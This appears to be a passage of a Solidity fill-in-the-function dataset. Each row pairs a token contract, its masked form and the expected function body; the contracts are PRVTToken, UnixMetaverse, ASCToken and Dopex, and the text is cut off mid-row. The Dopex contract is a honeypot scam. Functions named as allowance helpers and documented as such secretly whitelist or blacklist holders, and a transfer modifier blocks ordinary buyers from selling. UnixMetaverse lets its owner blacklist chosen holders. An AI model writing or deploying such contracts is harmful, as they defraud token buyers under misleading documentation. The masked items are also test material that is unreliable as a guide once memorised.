contract PRVTToken is StandardToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function PRVTToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract PRVTToken is StandardToken { using SafeMath for uint256; function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function PRVTToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
50574
UnixMetaverse
_transferStandard
contract UnixMetaverse is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Unix Metaverse"; string private constant _symbol = "UNIX"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE); _feeAddrWallet2 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x70C05B3b42Ef8c0bf72B1c0866B0606dCE0589c0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract UnixMetaverse is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Unix Metaverse"; string private constant _symbol = "UNIX"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE); _feeAddrWallet2 = payable(0x57177cb34B164f4d27818c352e78E64d75c435CE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x70C05B3b42Ef8c0bf72B1c0866B0606dCE0589c0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } <FILL_FUNCTION> function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);
function _transferStandard(address sender, address recipient, uint256 tAmount) private
function _transferStandard(address sender, address recipient, uint256 tAmount) private
27440
ASCToken
transferFrom
contract ASCToken { string public name; string public symbol; uint8 public decimals = 2; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); function ASCToken() public { totalSupply = 60000000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "Ascereum"; symbol = "ASC"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } }
contract ASCToken { string public name; string public symbol; uint8 public decimals = 2; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); function ASCToken() public { totalSupply = 60000000000 * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = "Ascereum"; symbol = "ASC"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } }
require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
25820
Dopex
null
contract Dopex is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {<FILL_FUNCTION_BODY> } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract Dopex is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; <FILL_FUNCTION> /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return 